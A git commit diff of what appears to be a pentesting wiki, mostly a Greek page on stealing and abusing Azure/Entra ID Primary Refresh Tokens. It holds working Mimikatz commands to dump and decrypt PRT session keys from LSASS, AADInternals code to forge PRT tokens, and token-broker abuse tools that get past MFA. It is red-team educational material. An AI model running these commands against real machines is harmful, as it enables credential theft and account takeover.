Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-29 16:05:32 +00:00
parent ce1c78eff5
commit fe86742229
13 changed files with 406 additions and 122 deletions
+4 -5
View File
@@ -420,6 +420,7 @@
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
- [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md)
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
- [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md)
- [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md)
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
@@ -442,21 +443,19 @@
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
- [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md)
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md)
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md)
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
- [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md)
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
- [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md)
- [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md)
- [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md)
- [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md)
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
@@ -4,13 +4,13 @@
## Pass the Certificate (Azure)
Σε μηχανές που είναι συνδεδεμένες στο Azure, είναι δυνατόν να αυθεντικοποιηθείς από μια μηχανή σε άλλη χρησιμοποιώντας πιστοποιητικά που **πρέπει να εκδίδονται από το Azure AD CA** για τον απαιτούμενο χρήστη (ως υποκείμενο) όταν και οι δύο μηχανές υποστηρίζουν τον μηχανισμό αυθεντικοποίησης **NegoEx**.
Στις μηχανές που είναι συνδεδεμένες στο Azure, είναι δυνατόν να αυθεντικοποιηθείς από μια μηχανή σε άλλη χρησιμοποιώντας πιστοποιητικά που **πρέπει να εκδίδονται από την Entra ID CA** για τον απαιτούμενο χρήστη (ως υποκείμενο) όταν και οι δύο μηχανές υποστηρίζουν τον μηχανισμό αυθεντικοποίησης **NegoEx**.
Με απλά λόγια:
- Η μηχανή (πελάτης) που ξεκινά τη σύνδεση **χρειάζεται ένα πιστοποιητικό από το Azure AD για έναν χρήστη**.
- Ο πελάτης δημιουργεί ένα JSON Web Token (JWT) header που περιέχει PRT και άλλες λεπτομέρειες, το υπογράφει χρησιμοποιώντας το Derived key (χρησιμοποιώντας το session key και το security context) και **το στέλνει στο Azure AD**.
- Το Azure AD επαληθεύει την υπογραφή JWT χρησιμοποιώντας το session key του πελάτη και το security context, ελέγχει την εγκυρότητα του PRT και **απαντά** με το **πιστοποιητικό**.
- Η μηχανή (πελάτης) που ξεκινά τη σύνδεση **χρειάζεται ένα πιστοποιητικό από την Entra ID για έναν χρήστη**.
- Ο πελάτης δημιουργεί ένα JSON Web Token (JWT) header που περιέχει PRT και άλλες λεπτομέρειες, το υπογράφει χρησιμοποιώντας το Derived key (χρησιμοποιώντας το session key και το security context) και **το στέλνει στην Entra ID**.
- Η Entra ID επαληθεύει την υπογραφή JWT χρησιμοποιώντας το session key του πελάτη και το security context, ελέγχει την εγκυρότητα του PRT και **απαντά** με το **πιστοποιητικό**.
Σε αυτό το σενάριο και αφού έχεις συλλέξει όλες τις πληροφορίες που χρειάζεσαι για μια [**Pass the PRT**](pass-the-prt.md) επίθεση:
@@ -1,7 +0,0 @@
# Az - Phishing Primary Refresh Token (Microsoft Entra)
{{#include ../../../banners/hacktricks-training.md}}
**Έλεγχος:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,6 +2,258 @@
{{#include ../../../banners/hacktricks-training.md}}
**Ελέγξτε την ανάρτηση στο** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) αν και μια άλλη ανάρτηση που εξηγεί το ίδιο μπορεί να βρεθεί στο [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
## Τι είναι το Primary Refresh Token (PRT);
Ένα **Primary Refresh Token (PRT)** είναι ένα μακροχρόνιο refresh token που χρησιμοποιείται στην αυθεντικοποίηση Azure AD (Entra ID), ανάλογο με ένα Kerberos TGT. Εκδίδεται κατά την είσοδο του χρήστη σε μια συσκευή που είναι συνδεδεμένη με το Azure AD και μπορεί να χρησιμοποιηθεί για να ζητήσει access tokens για διάφορες εφαρμογές χωρίς να ζητούνται ξανά τα διαπιστευτήρια. Κάθε PRT συνοδεύεται από ένα **session key** (γνωστό και ως Proof-of-Possession key) -- ένα συμμετρικό κλειδί που χρησιμοποιείται για την υπογραφή αιτημάτων και την απόδειξη ότι ο πελάτης έχει το PRT. Το PRT είναι ένα αδιαφανές, κρυπτογραφημένο blob (μη αναγνώσιμο από τον πελάτη), ενώ το session key χρησιμοποιείται για να **υπογράψει** ένα JWT που περιέχει το PRT κατά την αίτηση tokens. Με άλλα λόγια, η κατοχή του PRT από μόνη της δεν είναι επαρκής; ένας επιτιθέμενος χρειάζεται το session key για να αποδείξει τη νομιμότητα, παρόμοια με την ανάγκη και των δύο, ενός Kerberos TGT και του session key του για την αυθεντικοποίηση.
Στα Windows, το PRT και το session key αποθηκεύονται στη διαδικασία LSASS μέσω του plugin CloudAP. Εάν μια συσκευή διαθέτει **TPM** (Trusted Platform Module), το Azure AD συνδέει τα κλειδιά με το TPM για επιπλέον ασφάλεια. Αυτό σημαίνει ότι σε συσκευές με TPM, το session key αποθηκεύεται ή χρησιμοποιείται εντός του TPM με τέτοιο τρόπο ώστε να μην μπορεί να διαβαστεί άμεσα από τη μνήμη υπό κανονικές συνθήκες. Εάν δεν είναι διαθέσιμο το TPM (π.χ. πολλές VM ή παλαιότερα συστήματα), τα κλειδιά διατηρούνται σε λογισμικό και προστατεύονται με κρυπτογράφηση DPAPI. Και στις δύο περιπτώσεις, ένας επιτιθέμενος με διαχειριστικά δικαιώματα ή εκτέλεση κώδικα στη μηχανή μπορεί να προσπαθήσει να **dump the PRT and session key from memory** ως μέρος της μετα-εκμετάλλευσης και στη συνέχεια να τα χρησιμοποιήσει για να προσποιηθεί τον χρήστη στο cloud. Σε αντίθεση με τα τυπικά refresh tokens (τα οποία είναι συνήθως συγκεκριμένα για εφαρμογές), ένα PRT είναι ευρύτερο, επιτρέποντας στη συσκευή σας να ζητήσει tokens για σχεδόν οποιοδήποτε πόρο ή υπηρεσία που είναι ενσωματωμένο στο Entra ID.
## Πώς λειτουργεί ένα PRT;
Ακολουθεί μια απλοποιημένη ανάλυση του πώς λειτουργεί ένα PRT:
1. **Εγγραφή Συσκευής:**
- Όταν η συσκευή σας (όπως ένα φορητό υπολογιστή Windows ή ένα κινητό τηλέφωνο) ενώνεται ή εγγράφεται με το Entra ID, αυθεντικοποιείται χρησιμοποιώντας τα διαπιστευτήριά σας (όνομα χρήστη/κωδικός πρόσβασης/MFA).
- Μετά την επιτυχή αυθεντικοποίηση, το Entra ID εκδίδει ένα PRT που είναι δεσμευμένο συγκεκριμένα για τη συσκευή σας.
2. **Αποθήκευση Token:**
- Το PRT αποθηκεύεται με ασφάλεια στη συσκευή σας, συχνά προστατευμένο από υλικές δυνατότητες όπως το Trusted Platform Module (TPM), διασφαλίζοντας ότι είναι δύσκολο για μη εξουσιοδοτημένα μέρη να το εξαγάγουν ή να το κακοποιήσουν.
3. **Μοναδική Σύνδεση (SSO):**
- Κάθε φορά που έχετε πρόσβαση σε μια εφαρμογή που προστατεύεται από το Entra ID (π.χ. εφαρμογές Microsoft 365, SharePoint, Teams), η συσκευή σας χρησιμοποιεί σιωπηλά το αποθηκευμένο PRT για να ζητήσει και να αποκτήσει ένα συγκεκριμένο access token για αυτήν την εφαρμογή.
- Δεν χρειάζεται να εισάγετε τα διαπιστευτήριά σας επανειλημμένα επειδή το PRT διαχειρίζεται διαφανώς την αυθεντικοποίηση.
4. **Ανανέωση και Ασφάλεια:**
- Τα PRT έχουν μεγάλη διάρκεια ζωής (συνήθως γύρω στις 14 ημέρες), αλλά ανανεώνονται συνεχώς όσο η συσκευή σας είναι ενεργά σε χρήση.
- Εάν η συσκευή σας γίνει συμβιβασμένη ή χαθεί, οι διαχειριστές μπορούν να ανακαλέσουν το PRT σας απομακρυσμένα, μπλοκάροντας αμέσως την μη εξουσιοδοτημένη πρόσβαση.
### Γιατί είναι ισχυρά τα PRT;
- **Καθολική Πρόσβαση:** Σε αντίθεση με τα τυπικά tokens που περιορίζονται σε μία εφαρμογή ή πόρο, ένα PRT μπορεί να διευκολύνει την πρόσβαση σε όλες τις υπηρεσίες που είναι ενσωματωμένες στο Entra ID.
- **Ενισχυμένη Ασφάλεια:** Με ενσωματωμένες προστασίες υλικού (όπως το TPM), τα PRT διασφαλίζουν ασφαλή αποθήκευση και χρήση tokens.
- **Εμπειρία Χρήστη:** Τα PRT βελτιώνουν σημαντικά την εμπειρία του χρήστη μειώνοντας τις συχνές προτροπές αυθεντικοποίησης και επιτρέποντας πραγματική απρόσκοπτη SSO.
## Πώς να ξέρετε αν υπάρχει PRT;
- Ελέγξτε αν υπάρχει PRT:
```bash
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
```
- Ελέγξτε αν προστατεύεται από TPM:
```bash
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
dsregcmd /status
# In Device State / WHfB prerequisites youll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPMbound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
```
## Dump and user unprotected PRTs
Σύμφωνα με [αυτή την ανάρτηση](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) σε συσκευές Windows **χωρίς TPM binding**, το PRT και το session key του βρίσκονται στο LSASS (CloudAP plugin). Με τοπικό admin/SYSTEM σε αυτή τη συσκευή, το PRT blob και το DPAPIencrypted session key μπορούν να **διαβαστούν από το LSASS, το session key να αποκρυπτογραφηθεί μέσω DPAPI, και το signing key να παραχθεί** για να δημιουργηθεί ένα έγκυρο PRT cookie (`xmsRefreshTokenCredential`). Χρειάζεστε τόσο το PRT όσο και το session key του—η συμβολοσειρά PRT μόνη της δεν είναι αρκετή.
### Mimikatz
```bash
privilege::debug
sekurlsa::cloudap
```
Το **PRT field** περιέχει το κρυπτογραφημένο refresh token (συνήθως base64 string), και το KeyValue στο ProofOfPossessionKey είναι το DPAPI-κρυπτογραφημένο session key (επίσης base64).
Στη συνέχεια, από την έξοδο **`sekurlsa::cloudap`**, αντιγράψτε το base64 blob από **`KeyValue`** μέσα στο πεδίο `ProofOfPossessionKey` (αυτό είναι το session key κρυπτογραφημένο με DPAPI). Αυτό το κρυπτογραφημένο κλειδί δεν μπορεί να χρησιμοποιηθεί όπως είναι – πρέπει να αποκρυπτογραφηθεί χρησιμοποιώντας τα διαπιστευτήρια DPAPI του συστήματος.
Δεδομένου ότι η κρυπτογράφηση DPAPI για τα μυστικά του συστήματος απαιτεί το σύστημα context της μηχανής, αναβαθμίστε το token σας σε SYSTEM και χρησιμοποιήστε το module DPAPI του Mimikatz για να αποκρυπτογραφήσετε:
```bash
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
```
Το `token::elevate` θα προσποιηθεί το SYSTEM και η εντολή `dpapi::cloudapkd` με το `/unprotect` θα χρησιμοποιήσει το κύριο κλειδί DPAPI για να αποκρυπτογραφήσει το παρεχόμενο KeyValue blob. Αυτό αποδίδει το κλειδί συνεδρίας σε καθαρό κείμενο και επίσης το σχετικό Derived Key και Context που χρησιμοποιούνται για την υπογραφή:
- **Clear key** το 32-byte κλειδί συνεδρίας σε καθαρό κείμενο (παρουσιάζεται ως hex string).
- **Derived Key** ένα 32-byte κλειδί που προέρχεται από το κλειδί συνεδρίας και μια τιμή context (περισσότερα για αυτό παρακάτω).
- **Context** ένα 24-byte τυχαίο context που χρησιμοποιήθηκε κατά την προέλευση του κλειδιού υπογραφής για το cookie PRT.
> [!NOTE]
> Αν αυτό δεν λειτουργεί για εσάς για να προσποιηθείτε τον χρήστη, ελέγξτε την παρακάτω ενότητα χρησιμοποιώντας **`AADInternals`**.
Στη συνέχεια, μπορείτε επίσης να χρησιμοποιήσετε το mimikatz για να δημιουργήσετε ένα έγκυρο cookie PRT:
```bash
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
```
Mimikatz θα εξάγει ένα υπογεγραμμένο JWT (το `PRT cookie`) μετά τη γραμμή “Signature with key”, το οποίο περιέχει το PRT και είναι υπογεγραμμένο χρησιμοποιώντας το παράγωγο κλειδί. Αυτό το JWT μπορεί να αντιγραφεί και στη συνέχεια να χρησιμοποιηθεί σε μια διαδικτυακή συνεδρία. Για παράδειγμα, ένας επιτιθέμενος μπορεί να ανοίξει έναν περιηγητή, να πάει στο `login.microsoftonline.com`, και να ρυθμίσει ένα cookie με όνομα `x-ms-RefreshTokenCredential` με την τιμή να είναι αυτό το JWT. Όταν ο περιηγητής ανανεώνεται ή πλοηγείται, το Azure AD θα θεωρήσει τη συνεδρία ως αυθεντικοποιημένη (το PRT cookie παρουσιάζεται σαν να έχει συμβεί SSO), και θα εκδώσει έναν κωδικό εξουσιοδότησης ή ένα διακριτικό πρόσβασης για τον καθορισμένο πόρο. Στην πράξη, κάποιος θα πλοηγηθεί σε έναν πόρο όπως το Office 365 ή το Azure portal; η παρουσία ενός έγκυρου PRT cookie σημαίνει ότι το Azure AD θα παραχωρήσει πρόσβαση χωρίς επιπλέον σύνδεση (παρακάμπτοντας το MFA, καθώς το PRT είναι ήδη αυθεντικοποιημένο).
Μπορείτε επίσης να χρησιμοποιήσετε **`roadtx`** και **`roadrecon`** με το PRT του PRT cookie για να προσποιηθείτε τον χρήστη *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*.
### AADInternals
Το **`AADInternals`** PowerShell module μπορεί επίσης να χρησιμοποιηθεί με το προηγουμένως αποκτηθέν PRT και το κλειδί συνεδρίας για να παραχθεί ένα έγκυρο PRT token. Αυτό είναι χρήσιμο για την αυτοματοποίηση της διαδικασίας απόκτησης ενός νέου PRT token με nonce, το οποίο μπορεί να χρησιμοποιηθεί για την ανάκτηση διακριτικών πρόσβασης για το Azure AD Graph API ή άλλους πόρους:
```bash
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
```
This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.
## Κατάχρηση προστατευμένων PRTs
Παρά τις αναφερόμενες προστασίες, ένας επιτιθέμενος που έχει ήδη παραβιάσει μια συσκευή (ως τοπικός χρήστης ή ακόμη και ως SYSTEM) μπορεί να **καταχραστεί το PRT για να αποκτήσει φρέσκα access tokens** εκμεταλλευόμενος τα δικά του APIs και τα ασφαλή συστατικά του Windows. Αντί να **εξάγει** το ακατέργαστο PRT ή το κλειδί, ο επιτιθέμενος ουσιαστικά **"ζητά" από τα Windows να χρησιμοποιήσουν το PRT εκ μέρους του**. Στις παρακάτω ενότητες, περιγράφουμε τις τρέχουσες έγκυρες τεχνικές για την κατάχρηση των PRTs και των κλειδιών συνεδρίας τους σε ενημερωμένες συσκευές Windows όπου ισχύουν οι προστασίες TPM. Όλες αυτές οι τεχνικές υποθέτουν πρόσβαση μετά την εκμετάλλευση στη στοχοθετημένη μηχανή και **επικεντρώνονται στην κατάχρηση των ενσωματωμένων ροών αυθεντικοποίησης** (δεν απαιτούνται μη επιδιορθωμένες ευπάθειες).
### Αρχιτεκτονική Windows Token Broker και Ροή SSO
Τα σύγχρονα Windows διαχειρίζονται την αυθεντικοποίηση στο cloud μέσω μιας ενσωματωμένης στοίβας **token broker**, η οποία περιλαμβάνει συστατικά τόσο σε λειτουργία χρήστη όσο και σε LSASS (Local Security Authority). Κύρια κομμάτια αυτής της αρχιτεκτονικής περιλαμβάνουν:
- **LSASS CloudAP Plugin:** Όταν μια συσκευή είναι συνδεδεμένη στο Azure AD, το LSASS φορτώνει πακέτα αυθεντικοποίησης cloud (π.χ. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) που διαχειρίζονται τα PRTs και τα αιτήματα token. Το LSASS (που εκτελείται ως SYSTEM) οργανώνει την αποθήκευση, ανανέωση και χρήση του PRT, και διασυνδέεται με το TPM για να εκτελέσει κρυπτογραφικές λειτουργίες (όπως η υπογραφή μιας πρόκλησης PRT με το κλειδί συνεδρίας).
- **Web Account Manager (WAM):** Ο Windows Web Account Manager είναι ένα πλαίσιο λειτουργίας χρήστη (προσβάσιμο μέσω COM/WinRT APIs) που επιτρέπει σε εφαρμογές ή προγράμματα περιήγησης να ζητούν tokens για cloud λογαριασμούς χωρίς να ζητούν διαπιστευτήρια. Ο WAM λειτουργεί ως μεσάζων μεταξύ των εφαρμογών χρήστη και του ασφαλούς PRT που υποστηρίζεται από LSASS/TPM. Για παράδειγμα, η βιβλιοθήκη MSAL της Microsoft και ορισμένα συστατικά του λειτουργικού συστήματος χρησιμοποιούν τον WAM για να αποκτούν σιωπηλά tokens χρησιμοποιώντας το PRT του συνδεδεμένου χρήστη.
- **BrowserCore.exe και διεπαφές Token Broker COM:** Για SSO προγράμματος περιήγησης, τα Windows περιλαμβάνουν ένα συστατικό που ονομάζεται **BrowserCore.exe** (βρίσκεται κάτω από *Windows Security\BrowserCore*). Αυτό είναι ένας εγγενής οικοδεσπότης μηνυμάτων που χρησιμοποιείται από προγράμματα περιήγησης (Edge, Chrome μέσω μιας επέκτασης, κ.λπ.) για να αποκτήσει ένα token SSO που προέρχεται από το PRT για είσοδο στο Azure AD. Στο παρασκήνιο, το BrowserCore εκμεταλλεύεται ένα αντικείμενο COM που παρέχεται από το `MicrosoftAccountTokenProvider.dll` για να ανακτήσει ένα cookie/token που βασίζεται σε PRT. Στην ουσία, αυτή η διεπαφή COM είναι μια πρώτης κατηγορίας API "token broker" που οποιαδήποτε διαδικασία που εκτελείται ως χρήστης μπορεί να καλέσει για να αποκτήσει ένα token SSO (εφόσον ο χρήστης έχει ένα έγκυρο PRT στο LSASS).
Όταν ένας χρήστης που είναι συνδεδεμένος στο Azure AD προσπαθεί να αποκτήσει πρόσβαση σε μια πηγή (ας πούμε, το Azure Portal), η ροή είναι συνήθως: μια εφαρμογή καλεί τη διεπαφή COM του WAM ή του BrowserCore, η οποία με τη σειρά της επικοινωνεί με το LSASS. Το LSASS χρησιμοποιεί το PRT και το κλειδί συνεδρίας (ασφαλισμένο από το TPM) για να παραγάγει ένα **SSO token** -- συχνά ονομάζεται **PRT cookie** -- το οποίο στη συνέχεια επιστρέφεται στην εφαρμογή ή το πρόγραμμα περιήγησης. Το PRT cookie είναι ένα ειδικό JWT που περιέχει το κρυπτογραφημένο PRT και μια nonce, υπογεγραμμένο με ένα κλειδί που προέρχεται από το κλειδί συνεδρίας του PRT. Αυτό το cookie αποστέλλεται στο Azure AD (σε μια κεφαλίδα `x-ms-RefreshTokenCredential`) για να αποδείξει ότι η συσκευή και ο χρήστης κατέχουν ένα έγκυρο PRT, επιτρέποντας στο Azure AD να εκδώσει τυπικά OAuth refresh και access tokens για διάφορες εφαρμογές. Σημειωτέον, οποιαδήποτε αξίωση Multi-Factor Authentication (MFA) που υπάρχει στο PRT θα μεταφερθεί σε tokens που αποκτώνται μέσω αυτής της διαδικασίας SSO, πράγμα που σημαίνει ότι τα tokens που προέρχονται από το PRT μπορούν να ικανοποιήσουν πόρους που προστατεύονται από MFA.
### Κλοπή Token σε Επίπεδο Χρήστη (Μη Διαχειριστής)
Όταν ένας επιτιθέμενος έχει **εκτέλεση κώδικα σε επίπεδο χρήστη**, η προστασία TPM του PRT δεν σταματά τον επιτιθέμενο από το να αποκτήσει tokens. Ο επιτιθέμενος **εκμεταλλεύεται τις ενσωματωμένες APIs Token Broker των Windows**:
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
Το BrowserCore εκθέτει μια κλάση COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) για να αποκτήσει PRT cookies. Αυτή η API COM καλείται νόμιμα από προγράμματα περιήγησης (Chrome/Edge extensions) για Azure AD SSO.
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
```bash
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
```
*(Επιστρέφει ένα Azure AD refresh token ή PRT cookie)*
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
```bash
ROADtoken.exe --nonce <nonce-value>
roadrecon auth --prt-cookie <cookie>
```
*(Δημιουργεί nonce, καλεί το BrowserCore για να αποκτήσει το cookie PRT, στη συνέχεια το εξαργυρώνει μέσω ROADtools)*
### **Web Account Manager (WAM) APIs**
Οι επιτιθέμενοι χρησιμοποιούν νόμιμες βιβλιοθήκες αυθεντικοποίησης της Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) από διαδικασίες επιπέδου χρήστη για να ανακτούν σιωπηλά tokens εκμεταλλευόμενοι το PRT που προστατεύεται από TPM.
- **[aadprt](https://posts.specterops.io/)**
```bash
execute-assembly aadprt.exe
```
*(Ανακτά το cookie PRT μέσω διεπαφών COM)*
- **[listwamaccounts](https://posts.specterops.io/)**
```bash
execute-assembly listwamaccounts.exe
```
*(Λίστες λογαριασμών Azure AD που έχουν συνδεθεί μέσω WAM; προσδιορίζει στόχους διακριτικών)*
- **Γενικό Παράδειγμα (PowerShell με MSAL)**:
```powershell
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken
```
*(Σιωπηλά αποκτά ένα access token εκμεταλλευόμενο το PRT)*
#### Κατάχρηση Token Επιπέδου Διαχειριστή / SYSTEM
Εάν ο επιτιθέμενος αναβαθμιστεί σε **Διαχειριστή ή SYSTEM**, μπορεί να προσποιηθεί άμεσα οποιονδήποτε χρήστη που έχει συνδεθεί στο Azure AD και να χρησιμοποιήσει τις ίδιες **COM/WAM token broker APIs**. Τα PRT που προστατεύονται από TPM δεν αποτρέπουν αυτή την νόμιμη έκδοση token.
### **Προσποίηση Χρήστη και Ανάκτηση Token**
Ο Διαχειριστής/SYSTEM θα μπορούσε να προσποιηθεί τις τρέχουσες συνεδρίες άλλων χρηστών για να καλέσει το BrowserCore ή WAM για τη δημιουργία token.
Για αυτό, απλώς προσποιηθείτε τη διαδικασία του χρήστη (π.χ., `explorer.exe`) και καλέστε τις token broker APIs χρησιμοποιώντας οποιαδήποτε τεχνική σχολιάστηκε στην προηγούμενη ενότητα.
### **Άμεση Αλληλεπίδραση LSASS & Token Broker (Προχωρημένο)**
Ένας διαχειριστής μπορεί ακόμα να συνεργαστεί με το LSASS για να καταχραστεί το PRT: για παράδειγμα, ένας διαχειριστής θα μπορούσε να εισάγει κώδικα στο LSASS ή να καλέσει εσωτερικές λειτουργίες CloudAP για να προτρέψει το LSASS να παράγει ένα token. Η έρευνα του Dirk-jan σημείωσε ότι ένας διαχειριστής μπορεί να “αλληλεπιδράσει με τα κλειδιά PRT στο LSASS χρησιμοποιώντας crypto APIs”. Στην πράξη, αυτό θα μπορούσε να σημαίνει τη χρήση των δικών λειτουργιών του LSASS (μέσω μιας τεχνικής όπως το API hooking ή RPC, αν είναι διαθέσιμες) για να δημιουργήσει ένα cookie PRT. Μια άλλη προσέγγιση είναι να εκμεταλλευτεί οποιοδήποτε παράθυρο όπου το session key μπορεί να εμφανιστεί στη μνήμη – για παράδειγμα, τη στιγμή της ανανέωσης του PRT ή της εγγραφής συσκευής όταν είναι μη κρυπτογραφημένο για χρήση. Τέτοιες επιθέσεις είναι σημαντικά πιο περίπλοκες και καταστάσεων. Μια πιο απλή τακτική διαχειριστή είναι η κατάχρηση υπαρχόντων handles token ή caches: το LSASS αποθηκεύει πρόσφατα εκδοθέντα refresh tokens για εφαρμογές στη μνήμη (κρυπτογραφημένα με DPAPI). Ένας αποφασισμένος επιτιθέμενος SYSTEM θα μπορούσε να προσπαθήσει να εξαγάγει αυτά τα DPAPI-προστατευμένα tokens (χρησιμοποιώντας το κύριο κλειδί του χρήστη, το οποίο μπορεί να αποκτήσει ένας διαχειριστής) για να κλέψει άμεσα refresh tokens για συγκεκριμένες εφαρμογές. Ωστόσο, η πιο εύκολη και γενική μέθοδος παραμένει η προσποίηση και η χρήση των τεκμηριωμένων διεπαφών token broker, καθώς αυτές εγγυώνται ότι το Azure AD θα εκδώσει φρέσκα tokens (με όλες τις σωστές αξιώσεις) αντί να προσπαθήσει να σπάσει την κρυπτογράφηση.
## Phishing PRTs
Καταχρήστε τη ροή **OAuth Device Code** χρησιμοποιώντας το **Microsoft Authentication Broker client ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) και το **Device Registration Service (DRS)** resource για να αποκτήσετε ένα **refresh token που μπορεί να αναβαθμιστεί σε Primary Refresh Token (PRT)** μετά την εγγραφή μιας **rogue συσκευής**.
